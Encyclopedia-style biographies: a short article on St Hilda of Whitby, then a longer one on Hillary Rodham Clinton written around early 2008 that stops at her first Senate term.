          Hilda's birthplace is not known, but according to Bede she was born in 614. She was the second daughter of Hereric, nephew of Edwin of Northumbria, and his wife Breguswith. Her elder sister, Hereswith, married thelric, brother of king Anna of East Anglia. When she was still an infant her father was murdered by poisoning while in exile at the court of the British King of Elmet (in what is now West Yorkshire). It is generally assumed that she was brought up at King Edwin's court in Northumbria. In 627 King Edwin was baptised on Easter Day, 12 April, along with his court, which included Hilda, in a small wooden church hastily constructed for the occasion, near the site of the present York Minster.


          The ceremony was performed by the monk-bishop Paulinus, who had come from Rome with Augustine. He accompanied Ethelburga, a Christian princess, when she came North from Kent to marry King Edwin. As Queen, she continued to practice her Christianity and, no doubt, influenced her husband's thinking.


          From her baptism to 647 nothing is known about Hilda. It seems likely that when King Edwin was killed in battle in 633 she went to live with her sister at the East Anglian court. Bede resumes her story at a point where she is about to join her widowed sister at a convent in Chelles in Gaul. She decided instead to answer the call of St. Aidan, Bishop of Lindisfarne to return to Northumbria and live as a nun.


          


          As a nun


          Hilda's original convent is not known, except that it was on the north bank of the River Wear. Here, with a few companions, she learned the traditions of Celtic monasticism which Aidan brought from Iona. After a year Aidan appointed Hilda second Abbess of Hartlepool. No trace remains of this abbey but the monastic cemetery has been found near the present St Hilda's Church.


          In 657 Hilda became the founding abbess of a new monastery at Whitby (then known as Streonshalh); she remained there until her death. Archaeological evidence shows that her monastery was in the Celtic style with its members living in small houses for two or three people. The tradition in double monasteries, such as Hartlepool and Whitby, was that men and women lived separately but worshipped together in church. The exact location and size of the monastery's church is unknown. Bede states that the original ideals of monasticism were strictly maintained in Hilda's abbey. All property and goods were held in common; Christian virtues were exercised, especially peace and charity; everyone had to study the Bible and do good works.


          Five men from this monastery became bishops and one is revered as a saint - Saint John of Beverley.


          


          Her character


          Bede describes Hilda as a woman of great energy who was a skilled administrator and teacher. She gained such a reputation for wisdom that even kings and princes sought her advice, but she also had a concern for ordinary folk like Cdmon. He was a herder at the monastery, who was inspired in a dream to sing verses in praise of God. Hilda recognized his gift and encouraged him to develop it. Although Hilda must have had a strong character she inspired affection. As Bede writes, "All who knew her called her mother because of her outstanding devotion and grace".


          


          The Synod of Whitby


          King Oswiu chose Hilda's monastery as the venue for the Synod of Whitby, the first synod of the Church in his kingdom. He invited churchmen from as far away as Wessex to attend. Most of those present, including Hilda, accepted the King's decision to adopt the method of calculating Easter currently used in Rome, but the monks from Lindisfarne, who could not accept this, withdrew to Iona and later to Ireland.


          


          Illness and death


          Hilda suffered from fever for the last six years of her life but she continued to work until her death on 17 November, 680, at what was then the advanced age of sixty-six. In her last year she set up another monastery, fourteen miles from Whitby, at Hackness. She died after receiving viaticum, and her legend holds that at the moment of her passing the bells of the monastery of Hackness tolled. A nun named Begu also claimed to have witnessed Hilda's soul being borne to heaven by angels.


          


          Legacy


          Hilda was succeeded as abbess by Eanfleda, widow of King Oswiu, and her daughter, lfleda. From then onwards we know nothing about the abbey at Whitby until it was destroyed by the Danish invaders in 867. After the Norman conquest of England, monks from Evesham re-founded the abbey as a Benedictine house for men. Thus it continued until the Dissolution of the Monasteries by King Henry VIII in 1539.


          A local legend says that when sea birds fly over the abbey they dip their wings in honour of the saint. Another legend tells of a plague of snakes which Hilda turned to stone - supposedly explaining the presence of ammonite fossils on the shore. In fact, the ammonite Hildoceras takes its name from St. Hilda. It was believed that such ammonite fossils were the snakes which had been miraculously turned into stone by St. Hilda. It was not unknown for local artisans to carve snakes' heads onto ammonites, and sell these relics as proof of the miracle. The coat of arms of nearby Whitby actually include three such 'snakestones'.


          From the late 19th century until the present day there has been a revival of interest in and devotion to St Hilda. With the development of education for women she has become the patron of many schools and colleges all over the world. College of St Hild and St Bede, Durham and St Hilda's College, Oxford are named after Saint Hilda. Hilda is considered one of the patron saints of learning and culture (including, due to her patronage of Cdmon, of poetry.)


          Two churches in Whitby (Roman Catholic and Anglican) have been dedicated under her patronage.


          There is an Anglican church named after St. Hilda in the Cross Green area of Leeds. It was opened in September 1882. There is a statue of St. Hilda in the nave, depicting her as the Mother of her Abbey at Whitby. She also appears in a stained glass window at the east end of the church. The church is still active and a sung mass is held there every Sunday. Several small streets in the immediate area are named after the church - St. Hilda's Mount, St. Hilda's Road, etc.


          Since 1915 at St Hilda's Priory, Sneaton Castle, on the western edge of Whitby town, there has been a community of Anglican sisters - the Order of the Holy Paraclete - which draws inspiration from the monastic and educational ideals of St Hilda. More recently, the Community of St Aidan and St Hilda has been founded on Lindisfarne.


          In the Roman Catholic church, St. Hilda's feast day is November 17. In the Church of England, it is 19 November.


          On the upper west side of Manhattan in New York City is St. Hilda's and St. Hugh's School. St. Hildas & St. Hughs School is an independent Episcopal day school that opened its doors in 1950. The school is coeducational and includes toddlers through grade 8.


          St.Hilda's College at the University of Melbourne was founded in 1964 as the women's college associated with the (then) exclusively male colleges Ormond (Presbyterian) and Queens (Methodist), becoming co-educational in 1973.
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          Hillary Diane Rodham Clinton (born October 26, 1947) is the junior United States Senator from New York, and a candidate for the Democratic nomination in the 2008 presidential election. She is married to Bill Clintonthe 42nd President of the United Statesand was the First Lady of the United States from 1993 to 2001.


          A native of Illinois, Hillary Rodham attracted national attention in 1969 when she delivered a controversial address as the first student to speak at commencement exercises for Wellesley College. She began her career as a lawyer after graduating from Yale Law School in 1973, moving to Arkansas and marrying Bill Clinton in 1975, following her career as a Congressional legal counsel; she was named the first female partner at Rose Law Firm in 1979 and was listed as one of the one hundred most influential lawyers in America in 1988 and 1991. She was the First Lady of Arkansas from 1979 to 1981 and 1983 to 1992, was active in a number of organizations concerned with the welfare of children, and was on the board of Wal-Mart and several other corporate boards.


          As First Lady of the United States, she took a prominent position in policy matters. Her major initiative, the Clinton health care plan, failed to gain approval by the U.S. Congress in 1994, but in 1997 she helped establish the State Children's Health Insurance Program and the Adoption and Safe Families Act. She became the only First Lady to be subpoenaed, testifying before a federal grand jury as a consequence of the Whitewater scandal in 1996. She was never charged with any wrongdoing in this or several other investigations during her husband's administration. The state of her marriage to Bill Clinton was the subject of considerable public discussion following the Lewinsky scandal in 1998.


          Moving to New York, Clinton was elected to the United States Senate in 2000, the first time an American first lady ran for public office and the first female senator from that state. There she initially supported the George W. Bush administration on some foreign policy issues, which included voting for the Iraq War Resolution. She has subsequently opposed the administration on its conduct of the Iraq War and has opposed it on most domestic issues. She was re-elected by a wide margin in 2006. Long described as a polarizing figure in American politics, she is the first woman in U.S. history with a strong chance of being elected president. During 2007 she was consistently ranked as the front-runner in national polls for the 2008 Democratic presidential nomination. As the 2008 primaries begin, she is in a tight race with Senator Barack Obama.


          


          Early life and education


          


          Early life


          Hillary Diane Rodham was born at Edgewater Hospital in Chicago, Illinois, and was raised in a United Methodist family, first in Chicago, and then, from the age of three, in suburban Park Ridge, Illinois. Her father, Hugh Ellsworth Rodham, was a son of Welsh and English immigrants and operated a small but successful business in the textile industry. Her mother, Dorothy Emma Howell, of English, Scottish, French Canadian, Welsh, and possibly Native American descent, was a homemaker. She has two younger brothers, Hugh and Tony.


          As a child, Hillary Rodham was involved in many activities at church and at her public school in Park Ridge. She participated in tennis and other sports and earned awards as a Brownie and Girl Scout. She attended Maine East High School, where she participated in student council, the debating team and the National Honour Society. For her senior year she was redistricted to Maine South High School, where she was a National Merit Finalist and graduated in 1965. Her parents encouraged her to pursue the career of her choice.


          Raised in a politically conservative household, at age thirteen she helped canvass South Side Chicago following the very close 1960 U.S. presidential election, finding evidence of vote fraud against Republican candidate Richard Nixon, and volunteered for Republican candidate Barry Goldwater in the U.S. presidential election of 1964. Her early political development was shaped most strongly by her energizing high school history teacher, like her father a fervent anti-communist, and by her Methodist youth minister, like her mother concerned with issues of social justice; with the minister she saw and met civil rights leader Martin Luther King, Jr. in Chicago in 1962.


          


          College


          In 1965, Rodham enrolled in Wellesley College, where she majored in political science. She served as president of the Wellesley Young Republicans organization during her freshman year. However, due to her evolving views regarding the American Civil Rights Movement and the Vietnam War, she stepped down from that position; she characterized her own nature as that of "a mind conservative and a heart liberal." In her junior year, Rodham was affected by the death of Martin Luther King, Jr., and became a supporter of the anti-war presidential nomination campaign of Democrat Eugene McCarthy. Rodham organized a two-day student strike and worked with Wellesley's black students for moderate changes, such as recruiting more black students and faculty. In that same year she was elected president of the Wellesley College Government Association. She attended the "Wellesley in Washington" summer program at the urging of Professor Alan Schechter, who assigned Rodham to intern at the House Republican Conference so she could better understand her changing political views. Rodham was invited by Representative Charles Goodell, a moderate New York Republican, to help Governor Nelson Rockefellers late-entry campaign for the Republican nomination. Rodham attended the 1968 Republican National Convention in Miami, where she decided to leave the Republican Party for good; she was upset over how Richard Nixon's campaign had portrayed Rockefeller and what Rodham perceived as the "veiled" racist messages of the convention.


          Rodham returned to Wellesley, and wrote her senior thesis about the tactics of radical community organizer Saul Alinsky under Professor Schechter (which, years later while she was first lady, was suppressed at the request of the White House and became the subject of speculation as to its contents). In 1969, Rodham graduated with departmental honours in political science. Stemming from the demands of some students, she became the first student in Wellesley College history to deliver their commencement address. According to reports by the Associated Press, her speech received a standing ovation lasting seven minutes. She was featured in an article published in Life magazine, due to the response to a part of her speech that criticized Senator Edward Brooke, who had spoken before her at the commencement; she also appeared on Irv Kupcinet's nationally-syndicated television talk show as well as in Illinois and New England newspapers. That summer, she worked her way across Alaska, washing dishes in Mount McKinley National Park and sliming salmon in a fish processing cannery in Valdez (which fired her and shut down overnight when she complained about unhealthy conditions).


          


          Law school


          Rodham then entered Yale Law School, where she served on the Board of Editors of the Yale Review of Law and Social Action. During her second year, she worked at the Yale Child Study Centre, learning about new research on early childhood brain development and working as a research assistant on the seminal work, Beyond the Best Interests of the Child (1973). She also took on cases of child abuse at Yale-New Haven Hospital, and volunteered at New Haven Legal Services to provide free advice for the poor. In the summer of 1970, she was awarded a grant to work at Marian Wright Edelman's Washington Research Project, where she was assigned to Senator Walter Mondale's Subcommittee on Migratory Labor, researching migrant workers' problems in housing, sanitation, health and education; Edelman would become a significant mentor to her.


          In the late spring of 1971, she began dating Bill Clinton, who was also a law student at Yale. That summer, she interned on child custody cases at the Oakland, California, law firm of Treuhaft, Walker and Burnstein, which was well-known for its support of constitutional rights, civil liberties, and radical causes; two of its four partners were current or former communist party members. Clinton canceled his summer plans to live with her in an apartment in Berkeley, California, later writing, "I told her I'd have the rest of my life for my work and my ambition, but I loved her and I wanted to see if it could work out for us." The romance did develop, and the couple continued living together in New Haven when they returned to law school. The following summer, Rodham and Clinton campaigned in Texas for unsuccessful 1972 Democratic presidential candidate George McGovern. She received a Juris Doctor degree from Yale in 1973, having spent an extra year there in order to be with Clinton. Clinton first proposed marriage to her following graduation, but she declined at the time. She began a year of post-graduate study on children and medicine at the Yale Child Study Centre. Her first scholarly paper, "Children Under the Law", was published in the Harvard Educational Review in late 1973 and became frequently cited in the field.


          


          Marriage and family, law career and First Lady of Arkansas


          


          A key decision


          During her post-graduate study, Rodham served as staff attorney for Edelman's newly founded Children's Defense Fund in Cambridge, Massachusetts, and as a consultant to the Carnegie Council on Children. During 1974 she was a member of the impeachment inquiry staff in Washington, D.C., advising the House Committee on the Judiciary during the Watergate scandal. Under the guidance of Chief Counsel John Doar and senior member Bernard Nussbaum, Rodham helped research procedures of impeachment and the historical grounds and standards for impeachment. The committee's work culminated in the resignation of President Richard Nixon in August 1974.


          By then, Rodham was viewed as someone with a bright political future; Democratic political organizer and consultant Betsey Wright had moved from Texas to Washington the previous year to help guide her career; Wright thought Rodham had the potential to one day become a senator or president. Meanwhile, Clinton had repeatedly asked her to marry him, and she had continued to defer. However, helped by her having passed the Arkansas bar exam but having failed the District of Columbia bar exam, Rodham came to a key decision. As she later wrote, "I chose to follow my heart instead of my head." She thus followed Bill Clinton to Arkansas, rather than staying in Washington where career prospects were best. Clinton was at the time teaching law and running for a seat in the U.S. House of Representatives in his home state. In August 1974, she moved to Fayetteville, Arkansas, and became one of two female faculty members at the University of Arkansas, Fayetteville School of Law, where Bill Clinton also taught. Even then, she still harbored doubts about marriage, concerned that her separate identity would be lost and her accomplishments would be viewed in the light of someone else's accomplishments.


          


          Early Arkansas years


          The couple bought a house in Fayetteville in the summer of 1975, and she finally agreed to marry him. Hillary Rodham and Bill Clinton were married on October 11, 1975, in a Methodist ceremony in their living room. She kept her name as Hillary Rodham, later writing that she had done so to keep their professional lives separate and avoid seeming conflicts of interest, although it upset both their mothers. Bill Clinton had lost the Congressional race in 1974, but in November 1976 was elected Attorney General of Arkansas. This required the couple to move to the state capital of Little Rock. Rodham joined the venerable Rose Law Firm, a bastion of Arkansan political and economic influence, in February 1977, specializing in patent infringement and intellectual property law, while also working pro bono in child advocacy; she rarely performed litigation work in court.


          Rodham co-founded the Arkansas Advocates for Children and Families, a state-level alliance with the Children's Defense Fund, in 1977. In late 1977, President Jimmy Carter (for whom Rodham had done 1976 campaign coordination work in Indiana) appointed her to the board of directors of the Legal Services Corporation, and she served in that capacity from 1978 through the end of 1981. For much of that time she served as the chair of that board, the first woman to do so. During her time as chair, funding for the Corporation was expanded from $90million to $300million, and she successfully battled against President Ronald Reagan's initial attempts to reduce the funding and change the nature of the organization.


          Following the November 1978 election of her husband as Governor of Arkansas, Rodham became First Lady of Arkansas in January 1979, her title for a total of twelve years (19791981, 19831992). Clinton appointed her chair of the Rural Health Advisory Committee the same year, where she successfully obtained federal funds to expand medical facilities in Arkansas' poorest areas without affecting doctors' fees.


          In 1979, she became the first woman to be made a full partner of Rose Law Firm. From 1978 until they entered the White House, she had a higher salary than her husband. During 1978 and 1979, while looking to supplement their income, Rodham made a spectacular profit from trading cattle futures contracts; her initial $1,000 investment generated nearly $100,000 when she stopped trading after ten months. The couple also began their ill-fated investment in the Whitewater Development Corporation real estate venture with Jim and Susan McDougal at this time.


          On February 27, 1980, Rodham gave birth to a daughter, Chelsea, her only child. In November 1980, Bill Clinton was defeated in his bid for re-election.


          


          Later Arkansas years
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          Bill Clinton returned to the Governor's office two years later by winning the election of 1982. During her husband's campaign, Rodham began to use the name Hillary Clinton, or sometimes "Mrs. Bill Clinton", in order to have greater appeal to Arkansas voters; she also took a leave of absence from Rose Law in order to campaign for him full-time. As First Lady of Arkansas, Hillary Clinton chaired the Arkansas Educational Standards Committee from 1982 to 1992, where she sought to bring about reform in the state's court-sanctioned public education system. One of the most important initiatives of the entire Clinton governorship, she fought a prolonged but ultimately successful battle against the Arkansas Education Association to put mandatory teacher testing as well as state standards for curriculum and classroom size in place. She introduced Arkansas' Home Instruction Program for Preschool Youth in 1985, a program that helps parents work with their children in preschool preparedness and literacy. She was named Arkansas Woman of the Year in 1983 and Arkansas Mother of the Year in 1984.


          Clinton continued to practice law with the Rose Law Firm while she was First Lady of Arkansas. She earned less than all the other partners, due to fewer hours being billed, but still made over $200,000 in her final year there. She continued to rarely do trial work, but was considered a "rainmaker" at the firm for bringing in clients, partly due to the prestige she lent the firm and to her corporate board connections. She was also very influential in the appointment of state judges. Bill Clinton's Republican opponent in his 1986 gubernatorial re-election campaign accused the Clintons of conflict of interest, because Rose Law did state business; the Clintons deflected the charge by saying that state fees were walled off by the firm before her profits were calculated. From 1987 to 1991 she chaired the American Bar Association's Commission on Women in the Profession, which addressed gender bias in the law profession and induced the association to adopt measures to combat it. She was twice named by the National Law Journal as one of the 100most influential lawyers in America, in 1988 and in 1991. When Bill Clinton thought about not running again for governor in 1990, Hillary Clinton considered running herself, but private polls were unfavorable and in the end he ran and was re-elected for the final time.


          Clinton served on the boards of the Arkansas Children's Hospital Legal Services (19881992) and the Children's Defense Fund (as chair, 19861992). In addition to her positions with non-profit organizations, she also held positions on the corporate board of directors of TCBY (19851992), Wal-Mart Stores (19861992) and Lafarge (19901992). TCBY and Wal-Mart were Arkansas-based companies that were also clients of Rose Law. Clinton was the first female member on Wal-Mart's board, added when chairman Sam Walton was pressured to name one; once there, she pushed successfully for the chain to adopt more environmentally-friendly practices, pushed largely unsuccessfully for more women to be added to the company's management, and was silent about the company's famously anti-labor union practices.


          


          First Lady of the United States


          


          An uncharacteristic First Lady


          After her husband became a candidate for the Democratic presidential nomination of 1992, Hillary Clinton received popular national attention for the first time. Before the New Hampshire primary, tabloid publications printed claims that Bill Clinton had had an extramarital affair with Gennifer Flowers, an Arkansas lounge singer. In response, the Clintons appeared together on 60 Minutes, during which Bill Clinton denied the affair but acknowledged he had caused "pain" in their marriage. (Years later, he would admit that the Flowers affair had happened, but to lesser extent than she claimed.) Hillary Clinton made culturally dismissive remarks about Tammy Wynette and baking cookies and having teas during the campaign that were ill-considered by her own admission. Bill Clinton said that electing him would get "two for the price of one", referring to the prominent role his wife would assume.
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          When Bill Clinton took office as president in January 1993, Hillary Rodham Clinton became the First Lady of the United States, and announced that she would be using that form of her name. She was the initial first lady to hold a post-graduate degree and to have her own professional career up to the time of entering the White House. She was also the initial first lady to take up an office in the West Wing of the White House, first ladies usually staying in the East Wing. She is regarded as the most openly empowered presidential wife in American history, save for Eleanor Roosevelt.


          Some critics called it inappropriate for the First Lady to play a central role in matters of public policy. Supporters pointed out that Clinton's role in policy was no different from that of other White House advisors and that voters were well aware that she would play an active role in her husband's Presidency. Bill Clinton's campaign promise of "two for the price of one" led opponents to refer derisively to the Clintons as "co-presidents", or sometimes "Billary". The pressures of conflicting ideas about the role of a First Lady were enough to send Clinton into "imaginary discussions" with the also-politically-active Eleanor Roosevelt; from the time she came to Washington, she also found refuge in a prayer group of The Fellowship that featured many wives of conservative Washington figures. Triggered in part by the death of her father in April 1993, she publicly sought to find a synthesis of Methodist teachings, liberal religious political philosophy, and Tikkun editor Michael Lerner's "politics of meaning" to overcome what she saw as America's "sleeping sickness of the soul" and that would lead to a willingness "to remold society by redefining what it means to be a human being in the twentieth century, moving into a new millennium." Other segments of the public focused on her appearance, which had evolved over time from inattention to fashion during her days in Arkansas, to a popular site in the early days of the World Wide Web devoted to showing her many different, and much analyzed, hairstyles as First Lady, to an appearance on the cover of Vogue magazine in 1998.


          


          Health care and other policy initiatives


          In 1993, the president appointed his wife to head and be the chairwoman of the Task Force on National Health Care Reform, hoping to replicate the success she had in leading the effort for Arkansas education reform. The recommendation of the task force became known as the Clinton health care plan, a complex proposal that would mandate employers to provide health coverage to their employees through individual health maintenance organizations. The plan was quickly derided as "Hillarycare" by its opponents; some protesters against it became vitriolic, and during a July 1994 bus tour to rally support for the plan, she was forced to wear a bulletproof vest at times. The plan did not receive enough support for a floor vote in either the House or the Senate, although both chambers were controlled by Democrats, and proposal was abandoned in September of 1994. Clinton later acknowledged in her book, Living History, that her political inexperience partly contributed to the defeat, but mentioned that many other factors were also responsible. The First Lady's approval ratings, which had generally been in the high-50s percent range during her first year, fell to 44percent in April 1994 and 35percent by September 1994. Republicans made the Clinton health care plan a major campaign issue of the 1994 midterm elections, which saw a net Republican gain of fifty-three seats in the House election and seven in the Senate election, winning control of both; many analysts and pollsters found the plan to be a major factor in the Democrats' defeat, especially among independent voters. Opponents of universal health care would continue to use "Hillarycare" as a pejorative label for similar plans by others.
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          Along with Senator Ted Kennedy, she was the major force behind the State Children's Health Insurance Program in 1997, a federal effort that provided state support for children whose parents were unable to provide them with health coverage. She promoted nationwide immunization against childhood illnesses and encouraged older women to seek a mammogram to detect breast cancer, with coverage provided by Medicare. She successfully sought to increase research funding for prostate cancer and childhood asthma at the National Institutes of Health. The First Lady worked to investigate reports of an illness that affected veterans of the Gulf War, which became known as the Gulf War syndrome. Together with Attorney General Janet Reno, Clinton helped create the Office on Violence Against Women at the Department of Justice. In 1997, she initiated and shepherded the Adoption and Safe Families Act, which she regarded as her greatest accomplishment as First Lady. As First Lady, Clinton hosted numerous White House Conferences, including ones on Child Care (1997), Early Childhood Development and Learning (1997), and Children and Adolescents (2000), and the first-ever White House Conferences on Teenagers (2000) and Philanthropy (1999).


          Hillary Clinton traveled to 79 countries during this time, breaking the mark for most-travelled First Lady held by Pat Nixon. In a September 1995 speech before the Fourth World Conference on Women in Beijing, Clinton argued very forcefully against practices that abused women around the world and in China itself, declaring "that it is no longer acceptable to discuss women's rights as separate from human rights" and resisting Chinese pressure to soften her remarks. She was one of the most prominent international figures at the time to speak out against the treatment of Afghan women by the Islamist fundamentalist Taliban that had seized control of Afghanistan. She helped create Vital Voices, an international initiative sponsored by the United States to promote the participation of women in the political processes of their countries.


          


          Whitewater and other investigations


          The Whitewater controversy was the focus of media attention from the publication of a New York Times report during the 1992 presidential campaign, and throughout her time as First Lady. The Clintons had lost their late-1970s investment in the Whitewater Development Corporation; at the same time, their partners in that investment, Jim and Susan McDougal, operated Madison Guaranty, a savings and loan institution that retained the legal services of Rose Law Firm and may have been improperly subsidizing Whitewater losses. Madison Guaranty later failed, and Clinton's work at Rose was scrutinized for a possible conflict of interest in representing the bank before state regulators that her husband had appointed; she claimed she had done minimal work for the bank. Independent counsels Robert Fiske and Kenneth Starr subpoenaed Clinton's legal billing records; she claimed to be unable to produce these records. The records were found in the First Lady's White House book room after a two-year search, and delivered to investigators in early 1996. The delayed appearance of the records sparked intense interest and another investigation about how they surfaced and where they had been; Clinton attributed the problem to disorganization that resulted from their move from the Arkansas Governor's Mansion and the effects of a White House renovation. After the discovery of the records, on January 26, 1996, Clinton made history by becoming the first First Lady to be subpoenaed to testify before a Federal grand jury. After several Independent Counsels investigated, a final report was issued in 2000 which stated that there was insufficient evidence that either Clinton had engaged in criminal wrongdoing.
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          Other investigations took place during Hillary Clinton's time as First Lady. Scrutiny of the May 1993 firings of the White House Travel Office employees, an affair that became known as " Travelgate", began with charges that the White House had used alleged financial improprieties in the Travel Office operation as an excuse to replace the office staff and give the White House travel business to Arkansas friends of theirs. Over the years the investigation focused more on whether Hillary Clinton had orchestrated the firings and whether the statements she made to investigating authorities regarding her role in the firings were true. The 2000 final Independent Counsel report found that there was substantial evidence that she was involved in the firings and that she had made "factually false" statements, but that there was insufficient evidence to prosecute her. Following deputy White House counsel Vince Foster's July 1993 suicide, allegations were made that Hillary Clinton had ordered the removal of potentially damaging files (related to Whitewater or other matters) from Foster's office on the night of his death. Independent Counsel Kenneth Starr investigated this, and by 1999 Starr was reported to be holding the investigation open, despite his staff having told him there was no case to be made. When Starr's successor Robert Ray issued his final Whitewater reports in 2000, no claims were made against Hillary Clinton regarding this. In March 1994 newspaper reports revealed her spectacular profits from cattle futures trading in 19781979; allegations were made of conflict of interest and disguised bribery, and several individuals analyzed her trading records, but no official investigation was made and she was never charged with any wrongdoing. An outgrowth of the Travelgate investigation was the June 1996 discovery of improper White House access to hundreds of FBI background reports on former Republican White House employees, an affair that some called " Filegate"; accusations were made that Hillary Clinton had requested these files and that she had recommended hiring an unqualified individual to head the White House Security Office. The 2000 final Independent Counsel report found no substantial or credible evidence that Hillary Clinton had any role or showed any misconduct in the matter.


          


          Lewinsky scandal


          In 1998, the Clintons' relationship became the subject of much speculation and gossip when it was revealed that the President had had an extramarital affair with White House intern Monica Lewinsky. Events surrounding the Lewinsky scandal eventually led to the impeachment of Bill Clinton. When the allegations against her husband were first made public, Hillary Clinton stated that they were the result of a " vast right-wing conspiracy", characterizing the Lewinsky charges as the latest in a long, organized, collaborative series of charges by Clinton political enemies, rather than any wrongdoing by her husband. She later said that she had been misled by her husband's initial claims that no affair had taken place. After the evidence of President Clinton's encounters with Lewinsky became incontrovertible and he admitted to her his unfaithful behaviour, she issued a public statement reaffirming her commitment to their marriage, but privately was reported to be furious at him and was unsure if she wanted to stay in the marriage.


          There was a mix of public reactions to Hillary Clinton after this: some women admired her strength and poise in private matters made public, some sympathized with her as a victim of her husband's insensitive behaviour, others criticized her as being an enabler to her husband's indiscretions by not obtaining a divorce, while still others accused her of cynically staying in a failed marriage as a way of keeping or even fostering her own political influence. Overall, her public approval ratings in the wake of the revelations shot upward to 71percent, the highest they had ever been. In her 2003 memoir, she would attribute her decision to stay married to love: "No one understands me better and no one can make me laugh the way Bill does. Even after all these years, he is still the most interesting, energizing and fully alive person I have ever met."


          


          Traditional duties
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          Clinton initiated and was Founding Chair of the Save America's Treasures program, a national effort that matched federal funds to private donations for the purpose of preserving and restoring historic items and sites, including the flag that inspired the Star Spangled Banner and the First Ladies Historic Site in Canton, Ohio. She was head of the White House Millennium Council, and initiated the Millennium Project with monthly lectures that discuss futures studies, one of which became the first live simultaneous webcast from the White House. Clinton also created the first Sculpture Garden there, which displayed large contemporary American works of art loaned from museums in the Jacqueline Kennedy Garden.


          In the White House, Clinton placed donated handicrafts of contemporary American artisans, such as pottery and glassware, on rotating display in the state rooms. She oversaw the restoration of the Blue Room to be historically authentic to the period of James Monroe, the redecoration of the Treaty Room into the presidential study along nineteenth century lines, and the redecoration of the Map Room to how it looked during World War II. Clinton hosted many large-scale events at the White House, such as a St. Patrick's Day reception, a state dinner for visiting Chinese dignitaries, a contemporary music concert that raised funds for music education in public schools, a New Year's Eve celebration at the turn of the twenty-first century, and a state dinner honoring the bicentennial of the White House in November of 2000.


          


          Senate election of 2000


          The long-serving United States Senator from New York, Daniel Patrick Moynihan, announced his retirement in November 1998. Several prominent Democratic figures, including Representative Charles Rangel of New York, urged Clinton to run for Moynihan's open seat in the United States Senate election of 2000. When she decided to run, Clinton and her husband purchased a home in Chappaqua, New York, north of New York City in September 1999. She became the first First Lady of the United States to be a candidate for elected office. At first, Clinton was expected to face Rudy Giuliani, the Mayor of New York City, as her Republican opponent in the election. However, Giuliani withdrew from the race after being diagnosed with prostate cancer, and Clinton instead faced Rick Lazio, a Republican member of the United States House of Representatives representing New York's 2nd congressional district. Throughout the campaign and during debates, Clinton was accused of carpetbagging by her opponents, as she had never resided in New York nor participated in the state's politics prior to this race. However, there was precedent for her action: New York had elected Robert F. Kennedy senator in 1964 despite similar accusations. Clinton began her campaign by visiting every county in the state, in a "listening tour" of small-group settings. During the campaign, she devoted considerable time in traditionally Republican Upstate New York regions. Clinton vowed to improve the economic situation in those areas, promising to deliver 200,000jobs to the state over her term. Her plan included specific tax credits to reward job creation and encourage business investment, especially in the high-tech sector. She called for personal tax cuts for college tuition and long-term care.


          The contest drew national attention and both candidates were well-funded. Clinton secured a broad base of support, including endorsements from conservation groups and organized labor, but not the New York City police and firefighters' unions. By the date of the election, the campaigns of Clinton and Lazio, along with Giuliani's initial effort, had spent a combined $78million. Clinton won the election on November 7, 2000, with 55percent of the vote to Lazio's 43percent. She was sworn in as United States Senator on January 3, 2001.


          


          United States Senator
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          First term


          Upon entering the United States Senate, Clinton maintained a low public profile while building relationships with senators from both parties, to avoid the polarizing celebrity she experienced as First Lady. Clinton also forged alliances with religiously-inclined senators by becoming a regular participant in the Senate Prayer Breakfast.


          Clinton has served on five Senate committees: Committee on Budget (20012002), Committee on Armed Services (since 2003), Committee on Environment and Public Works (since 2001), Committee on Health, Education, Labor and Pensions (since 2001) and Special Committee on Aging. She is also a Commissioner of the Commission on Security and Cooperation in Europe (since 2001).


          Following the September 11, 2001 attacks, Clinton sought to obtain funding for the recovery efforts in New York City and security improvements in her state. Working with New York's senior senator, Charles Schumer, she was instrumental in quickly securing $21.4billion in funding for the World Trade Centre site's redevelopment. She subsequently took a leading role in investigating the health issues faced by 9/11 first responders. Clinton voted for the USA Patriot Act in October 2001, as did all but one senator. In 2005, when the act was up for renewal, she worked to address some of the civil liberties concerns with it, before voting in favour of a compromise renewed act in March 2006 that gained large majority support.


          As a member of the Senate Committee on Armed Services, Clinton strongly supported military action in Afghanistan, saying it was a chance to combat terrorism while improving the lives of Afghan women who suffered under the Taliban government. Clinton voted in favour of the October 2002 Iraq War Resolution, which authorized United States President George W. Bush to use military force against Iraq, should such action be required to enforce a United Nations Security Council Resolution after pursuing with diplomatic efforts. (However, Clinton voted against the Levin Amendment to the Resolution, which would have required the President to conduct vigorous diplomacy at the U.N., and would have also required a separate Congressional authorization to unilaterally invade Iraq. She did vote for the Byrd Amendment to the Resolution, which would have limited the Congressional authorization to one year increments, but the only mechanism necessary for the President to renew his mandate without any Congressional oversight was to claim that the Iraq War was vital to national security each year the authorization required renewal.)


          After the Iraq War began, Clinton made trips to both Iraq and Afghanistan to visit American troops stationed there, such as the 10th Mountain Division based in Fort Drum, New York. On a visit to Iraq in February 2005, Clinton noted that the insurgency had failed to disrupt the democratic elections held earlier, and that parts of the country were functioning well. Noting that war deployments are draining regular and reserve forces, she co-introduced legislation to increase the size of the regular United States Army by 80,000soldiers to ease the strain. In late 2005, Clinton said that while immediate withdrawal from Iraq would be a mistake, Bush's pledge to stay "until the job is done" is also misguided, as it gives Iraqis "an open-ended invitation not to take care of themselves." She criticized the administration for making poor decisions in the war, but added that it was more important to solve the problems in Iraq. This centrist and somewhat vague stance caused frustration among those in the Democratic party who favour immediate withdrawal. Clinton supported retaining and improving health benefits for veterans, and lobbied against the closure of several military bases.


          Senator Clinton voted against the tax cuts introduced by President Bush, including the Economic Growth and Tax Relief Reconciliation Act of 2001 and the Jobs and Growth Tax Relief Reconciliation Act of 2003, saying it was fiscally irresponsible to reopen the budget deficit.


          
            [image: Senator Clinton delivers an address to Families USA, 2005]

            
              Senator Clinton delivers an address to Families USA, 2005
            

          


          Clinton voted in 2005 against the confirmation of John Roberts as Chief Justice of the United States, and in 2006 against the nomination of Samuel Alito to the United States Supreme Court; both were confirmed. In 2005, Clinton called for the Federal Trade Commission to investigate how hidden sex scenes showed up in the controversial video game Grand Theft Auto: San Andreas. Along with Senators Joe Lieberman and Evan Bayh, she introduced the Family Entertainment Protection Act, intended to protect children from inappropriate content found in video games. In July 2004 and June 2006, Clinton voted against the Federal Marriage Amendment that sought to prohibit same-sex marriage. The proposed constitutional amendment fell well short of passage on both occasions.


